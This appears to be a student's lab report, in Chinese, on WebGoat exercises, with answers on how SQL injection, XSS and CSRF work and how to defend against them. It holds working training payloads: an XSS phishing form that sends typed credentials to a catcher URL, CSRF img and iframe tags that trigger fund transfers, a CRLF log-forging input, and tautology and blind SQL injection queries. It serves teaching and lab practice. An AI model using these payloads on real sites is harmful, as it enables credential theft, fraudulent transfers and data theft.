20155223 Exp9 Web安全基础实践

基础问题回答

SQL注入攻击原理,如何防御?

  • 攻击原理:SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
  • 防御手段:
    • 在数据库设置防火墙,专注防御SQL注入攻击。
    • 不再使用动态拼接SQL语句,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
    • 用加密方式或Hash函数来存储机密信息。
    • 少给或不给应用的异常信息提示。

XSS攻击的原理,如何防御?

  • 攻击原理:XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨大的,是web安全的头号大敌。
  • 防御手段:
    • 限制可输入字符的范围和可输入字符串的长度。
    • 在表单提交或者url参数传递前,对需要的参数进行过滤。

CSRF攻击原理,如何防御?

  • 攻击原理:一种对网站的恶意利用也就是人们所知道的钓鱼网站。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
  • 防御手段:
    • 严格设置cookie的域,一个cookie最好就对一个域负责。
    • 页面链接最好不能出现用户的隐私信息。
    • 采用验证码等手段来认证用户。

实践内容

WebGoat

WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,目前提供的训练课程有很多,包含了XSS、线程安全、SQL注入等。本次实验就用这个东西来练习。

首先确认Kali机内有Java,输入命令:java -version以确认虚拟机的确有Java环境。

好的,我的虚拟机里有Java环境。如果没有此环境,可以按照这里搭建环境。

然后输入命令:sudo apt-get install default-jre 来安装默认设置的jre。不过我的已经安装好了。

最后下载并安装WebGoat。

wget https://s3.amazonaws.com/webgoat-war/webgoat-container-7.0-SNAPSHOT-war-exec.jar
java -jar webgoat-container-7.0-SNAPSHOT-war-exec.jar

必须注意的是,下载网站不能用校网相连,因此必须使用外网。

XSS攻击

Phishing with XSS

跨站脚本攻击可以通过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,甚至可以模拟用户当前的操作。我要用这个攻击方式来获取用户名和密码。

首先编写一段网页代码:

<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div> </div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

然后点击search,出来这个玩意儿:



输入完用户名和密码,你就没了。

Stored XSS Attacks

此类攻击就是创建一个非法链接,让用户得不到他们想要的信息。



然后点击生成的链接。

反射型XSS攻击

反射型XSS攻击是指一种非持久性的攻击,攻击触发条件就是受害者的点击。此类攻击常见于搜索引擎。

在此框输入一个命令:<script>alert("Attack by suhuang?");</script>

点击。

CSRF攻击

CSRF攻击是伪装成网站受信任用户的请求来发起攻击,可以用于防范此类攻击的手段和资源很少。

基础型CSRF攻击

查看页面右边Parameters中的src和menu值。

Title框就随便输入点什么就行。

下一个框就输入命令:<img src='attack?Screen=src值&menu=menu值&transferFunds=转账数额' width='1' height='1'> ,然后会生成一个链接。一键吃鸡!

如果它能告诉我这转账金额去哪,我会更高兴。

CSRF Prompt By-Pass

与上面的攻击一样,不过输入的代码有两行。

<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> </iframe>
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>

同样是去点击就可以爽一下的链接就能成功攻击。

诶,它告诉我转账数额去哪了!

SQL注入攻击

这个上个实验已经做过了,就是利用编程者没注意到的一些SQL语句漏洞来发起攻击。主要是通过输入一些SQL执行语句进入网页,让网页的SQL命令来执行。

命令语句注入

这个题是要求能够在目标主机上执行系统命令,我们可以通过火狐浏览器下的一个扩展Firebug对源代码进行修改。

我添加出来的这个命令可以直接查看主机的端口信息。

麻烦哪位神仙大佬能跟我说说那一串Unix是个什么鬼。

永真式注入攻击

就是利用永真式进攻来获取一些数据权限。

我想看看纽约的天气数据,那么就在网页代码上的纽约位置值后面输入个or 1=1就行。

那个戴维营和极地考察站是怎么一回事?

登录界面注入

输入的用户名一定会被追加到日志文件中,所以要用障眼法来使用户名为“admin”的用户在日志中显示“成功登录”。

输入命令:shyl%0d%0aLogin Succeeded for username: admin

为什么这结果有种似曾相识的感觉?

流SQL注入

就是还是用永真式来注入攻击,攻击获得网站存储的机密数据。

盲SQL流注入

这种攻击和上一种攻击不同。上一种攻击是目的明确的,而这个攻击就是胡乱进攻,然后通过反馈来得到信息。

在输入框中输入这一串:101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='5223522352235223'), 1, 1) = 'h' );

里面数字是ASCII字符值。

除非我能一次性输入到正确的字符代码,否则我根本就是瞎搞。

哼,概率!

出结果已经是次日,结果得个鸡儿Jill哟!

实验感想

这个训练用的程序不错,不知道Windows下有没有相关的东西。

20155223 Exp9 Web安全基础实践的更多相关文章

  1. 20145236《网络对抗》Exp9 web安全基础实践

    20145236<网络对抗>Exp9 web安全基础实践 一.基础问题回答: SQL注入攻击原理,如何防御 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或 ...

  2. 20145215《网络对抗》Exp9 Web安全基础实践

    20145215<网络对抗>Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...

  3. 20145208 蔡野 《网络对抗》Exp9 web安全基础实践

    20145208 蔡野 <网络对抗>Exp9 web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验后回答问题 (1)SQL注入攻击原理,如何 ...

  4. 20155202《网络对抗》Exp9 web安全基础实践

    20155202<网络对抗>Exp9 web安全基础实践 实验前回答问题 (1)SQL注入攻击原理,如何防御 SQL注入产生的原因,和栈溢出.XSS等很多其他的攻击方法类似,就是未经检查或 ...

  5. 20155204《网络对抗》Exp9 Web安全基础实践

    20155204<网络对抗>Exp9 Web安全基础实践 一.基础问题回答 SQL注入攻击原理,如何防御? 原理: SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以 ...

  6. 20155210 Exp9 Web安全基础实践

    Exp9 Web安全基础实践 实验过程 开启webgoat 输入java -jar webgoat-container-7.1-exec.jar,来运行webgoat 在浏览器输入localhost: ...

  7. 20155211 网络对抗 Exp9 Web安全基础实践

    20155211 网络对抗 Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语 ...

  8. 20155216 Exp9 Web安全基础实践

    Exp9 Web安全基础实践 基础问题回答 1.SQL注入攻击原理,如何防御? 1.对用户的输入进行校验,可以通过正则表达式,双"-"进行转换等. 2.不要使用动态拼装sql,可以 ...

  9. 20155220 Exp9 Web安全基础实践

    Exp9 Web安全基础实践 实验过程 开启webgoat 输入java -jar webgoat-container-7.1-exec.jar,来运行webgoat 在浏览器输入localhost: ...

随机推荐

  1. OSGI企业应用开发(一)OSGI简介

    一.OSGI简介 OSGI全称为Open Service Gateway Initiative(开放服务网关规范),有两个层面的含义,一方面它指OSGi Alliance组织:另一方面指该组织制定的一 ...

  2. Android 系统中运行jar文件

    在android系统中运行jar操作步骤: 1.       打包编译jar包 2.       将jar包导入android设备中 adb push test.jar  /data/local/tm ...

  3. JavaScript判断变量名是否存在数组中

    直接上代码: JavaScript代码: var array=[{name:"张珊",sex:"男"}]; console.log(array); if(arr ...

  4. ViewPager中切换界面Fragment被销毁的问题

    ViewPager中切换界面Fragment被销毁的问题分析 使用ViewPager+Fragment实现界面切换,当界面数量大于3时,出现二次滑动后数据消失的情况,下面由Fragment生命周期进行 ...

  5. C# 获得目录下所有文件或指定文件类型文件(包含所有子文件夹)

    public partial class FileGet { /// <summary> /// 私有变量 /// </summary> private static List ...

  6. SQL Server中数据库文件的存放方式,文件和文件组 (转载)

    简介 在SQL SERVER中,数据库在硬盘上的存储方式和普通文件在Windows中的存储方式没有什么不同,仅仅是几个文件而已.SQL SERVER通过管理逻辑上的文件组的方式来管理文件.理解文件和文 ...

  7. 基元用户模式构造--互锁构造 Interlocked 实现的异步web请求实例

    using System; using System.Collections.Generic; using System.Linq; using System.Net.Http; using Syst ...

  8. sqlite 字符串拼接

    select path || '%'  from t_category where depth = 0 and type = 0 用'||'拼接字符串 比如path是/1001/的话 那结果就是/10 ...

  9. (笔记)MySQL 之 Metadata Locking 研究(5.5版本)

      MySQL5.5 中引入了 metadata lock. 顾名思义,metadata lock 不是为了保护表中的数据的,而是保护 database objects(元数据)的.包括表结构.sch ...

  10. November 13th, 2017 Week 46th Monday

    Don't undermine your worth by comparing yourself with others. 别拿自己和他人比较,这只会降低你原有的价值. Honestly, I don ...